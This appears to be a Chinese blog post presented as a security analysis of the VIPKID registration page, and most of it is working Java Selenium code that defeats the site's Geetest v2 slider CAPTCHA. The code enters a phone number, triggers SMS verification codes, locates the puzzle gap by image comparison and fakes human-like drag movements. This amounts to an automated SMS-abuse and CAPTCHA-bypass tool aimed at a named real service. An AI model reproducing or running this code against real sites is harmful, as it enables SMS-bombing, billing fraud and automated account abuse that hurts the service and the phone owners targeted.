前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何?请看具体分析。
一、 VIPKID PC 注册入口
简介:在线英语教育品牌,VIPKID是全球增长速度最快的在线英语教育品牌,旗下有两大产品:成人英语体系课,成人1对1外教口语课 [1],为职场达人、考研、出国留学人员以及家庭英语教育提供英语解决方案,课程采用北美外教与中教授课,通过互联网的方式将中国英语学习者与全球老师连接起来。
二、 安全性分析报告:
采用极验的V2版本,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
三、 测试方法:
前端界面分析, 采用的是极验2.0,最大特点就是将图片做分割后,在前端再做合并,这就好办了, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。
- 模拟器交互部分
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(smsUrl);
Thread.sleep(1000);
By phoneBy = By.xpath("//input[@placeholder='请输入手机号']");
WebElement phoneElemet = driver.findElement(phoneBy);
phoneElemet.sendKeys(phone);
WebElement getCodeElement = driver.findElement(By.className("message-countdown"));
getCodeElement.click();
Thread.sleep(2000);
getCodeElement = driver.findElement(By.className("message-countdown"));
String msg = getCodeElement.getText();
if (msg == null || !msg.contains("s")) {
geetApi.getAndMove(driver, 6);
}
Thread.sleep(1000);
getCodeElement = driver.findElement(By.className("message-countdown"));
msg = getCodeElement.getText();
System.out.println("msg=" + msg);
retEntity.setMsg(msg);
if (msg != null && msg.contains("s")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println(e.toString());
return null;
}
}
- 获取滑动图片及调用移动交互
public boolean getAndMove(WebDriver driver, Integer offSet) {
int distance = -1;
try {
WebElement moveElement = ChromeDriverManager.waitElement(driver, By.className("geetest_slider_button"), 1000);
if (moveElement == null) {
logger.error("getAndMove() moveElement=" + moveElement);
return false;
}
// 下面的js代码根据canvas文档说明而来
// 完整背景图geetest_canvas_fullbg geetest_fade geetest_absolute
StringBuffer base64 = new StringBuffer();
String fullName = "geetest_canvas_fullbg geetest_fade geetest_absolute";
byte[] fullImg = GetImage.callJsByName(driver, fullName, base64);
String bgName = "geetest_canvas_bg geetest_absolute";
byte[] bgImg = GetImage.callJsByName(driver, bgName, base64);
File fullFile = null, bgFile = null;
if (fullImg != null && bgImg != null) {
Long time = System.currentTimeMillis();
fullFile = new File(dataPath + "geet/" + time + "full.png");
FileUtils.writeByteArrayToFile(fullFile, fullImg);
bgFile = new File(dataPath + "geet/" + time + "bg.png");
FileUtils.writeByteArrayToFile(bgFile, bgImg);
if (fullImg.length < 10000) {
System.out.println("fullImg len=" + fullImg.length + " -> err[len<10000]");
return false;
}
}
// 获取滑动距离并删除图片
distance = (fullFile != null && bgFile != null) ? ActionMove.getMoveDistance(fullFile.getAbsolutePath(), bgFile.getAbsolutePath()) : -1;
if (distance < 1) {
logger.error("getAndMove distance=" + distance);
return false;
}
if (offSet != null)
ActionMove.move(driver, moveElement, distance - offSet);
else
ActionMove.move(driver, moveElement, distance);
// 滑动结果
Thread.sleep(1 * 1000);
WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_content"), 10);
String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;
if (gtInfo != null) {
System.out.println("gtInfo=" + gtInfo);
if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {
return true;
}
} else {
String msg = driver.findElement(By.className("geetest_panel_success_title")).getAttribute("innerText");
System.out.println("msg=" + msg);
}
return false;
} catch (Exception e) {
System.out.println("getAndMove() " + e.toString());
logger.error(e.toString());
return false;
}
}
2. 距离识别
/**
* 计算需要平移的距离
*
* @param fullImgPath
* 完整背景图片文件名
* @param bgImgPath含有缺口背景图片文件名
* @return
* @throws IOException
*/
public static int getMoveDistance(String fullImgPath, String bgImgPath) {
System.out.println("fullImgPath=" + fullImgPath);
File fullFile = new File(fullImgPath);
File bgFile = new File(bgImgPath);
boolean fullExists = fullFile.exists();
boolean bgExists = bgFile.exists();
if (fullExists && bgExists) {
String abPath = bgFile.getAbsolutePath();
int l = abPath.lastIndexOf(".");
String out = abPath.substring(0, l) + "-o" + abPath.substring(l);
return getComareImg(fullFile, bgFile, out);
} else {
System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);
return -1;
}
}
/**
* 计算需要平移的距离
*
* @param driver
* @param fullImgPath完整背景图片文件名
* @param bgImgPath含有缺口背景图片文件名
* @return
* @throws IOException
*/
private static int getComareImg(Object fullObj, Object bgObj, String out) {
System.out.println("getComareImg() begin");
try {
if (fullObj == null || bgObj == null) {
return -1;
}
BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);
BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);
List<Integer> list;
Color ca, cb;
Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();
// 将头35列的最大不同值取出, 作为右边图像的基础差
Long tifTotl = 0L;
int tifLeft = 0;
int tifCount = 0;
for (int i = 0; i < bgBI.getWidth(); i++) {
for (int j = 0; j < bgBI.getHeight(); j++) {
ca = new Color(fullBI.getRGB(i, j));
cb = new Color(bgBI.getRGB(i, j));
int diff = diff(ca, cb);
if (i <= 35 && tifLeft < diff) {
tifLeft = (diff >= 255) ? 255 : diff;
} else if (diff > tifLeft) {
tifTotl += diff;
tifCount++;
}
}
}
Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;
if (tifLeft <= 0 && tifAvg >= 2) {
tifAvg = tifAvg / 2;
}
for (int i = 35; i < bgBI.getWidth(); i++) {
for (int j = 0; j < bgBI.getHeight(); j++) {
ca = new Color(fullBI.getRGB(i, j));
cb = new Color(bgBI.getRGB(i, j));
int diff = diff(ca, cb);
if (diff >= tifAvg) {
list = xMap.get(i);
if (list == null) {
list = new ArrayList<Integer>();
xMap.put(i, list);
}
list.add(j);
xMap.put(i, list);
}
}
}
System.out.println(" |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());
int minX = 0;
int maxX = 0;
for (Integer x : xMap.keySet()) {
list = xMap.get(x);
minX = (minX == 0) ? x : minX;
maxX = x;
for (int y : list) {
cb = new Color(bgBI.getRGB(x, y));
int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());
bgBI.setRGB(x, y, gray);
}
}
// 标记直线位置
for (int y = 0; y < bgBI.getHeight(); y++) {
bgBI.setRGB(minX, y, Color.red.getRGB());
}
int width = maxX - minX;
File destFile = new File(out);
Thumbnails.of(bgBI).scale(1f).toFile(destFile);
System.out.println(" |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);
return minX;
} catch (Exception e) {
System.out.println(e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
System.out.println(elment.toString());
}
logger.error("getMoveDistance() err = " + e.toString());
return 0;
}
}
private static int diff(Color ca, Color cb) {
int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());
return d;
}
3. 轨道生成及移动算法
/**
* 双轴轨道生成算法,主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a = (int) (distance / 3.0) + random.nextInt(10);
int h = 0, current = 0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus = true;
Double t = 0.18, v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2);
if (current > distance / 2) {
h = h * -1;
}
v0 = v;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if (move.intValue() < 1)
move = new BigDecimal(1L);
if (plus) {
track.add(new Integer[] { move.intValue(), h });
} else {
subList.add(0, new Integer[] { move.intValue(), h });
}
current += move.intValue();
if (plus && current >= mid.intValue()) {
plus = false;
move = new BigDecimal(0L);
v = 0.00;
}
}
track.addAll(subList);
int bk = current - distance;
if (bk > 0) {
for (int i = 0; i < bk; i++) {
track.add(new Integer[] { -1, h });
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
return track;
} catch (Exception e) {
System.out.print(e.toString());
return null;
}
}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance);
if (track == null || track.size() < 1) {
System.out.println("move() track=" + track);
}
int moveY, moveX;
StringBuffer sb = new StringBuffer();
try {
Actions actions = new Actions(driver);
actions.clickAndHold(element).perform();
Thread.sleep(20);
long begin, cost;
Integer[] move;
int sum = 0;
for (int i = 0; i < track.size(); i++) {
begin = System.currentTimeMillis();
move = track.get(i);
moveX = move[0];
sum += moveX;
moveY = move[1];
if (moveX < 0) {
if (sb.length() > 0) {
sb.append(",");
}
sb.append(moveX);
}
actions.moveByOffset(moveX, moveY).perform();
cost = System.currentTimeMillis() - begin;
if (cost < 3) {
Thread.sleep(3 - cost);
}
}
if (sb.length() > 0) {
System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
}
Thread.sleep(180);
actions.release(element).perform();
Thread.sleep(500);
} catch (Exception e) {
StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace())
er.append(elment.toString() + "\n");
logger.error(er.toString());
System.out.println(er.toString());
}
}
- 图片比对结果测试样例:
四丶结语
vipkid 作为外教培训头部机构,早期获得创新工场的融资, 属于是科技含量较高的企业, 采用的是通俗的滑动验证产品, 在一定程度上提高了用户体验, 不过随着图形识别技术及机器学习能力的提升,所以在网上破解的文章和教学视频也是大量存在,并且经过验证的确有效, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
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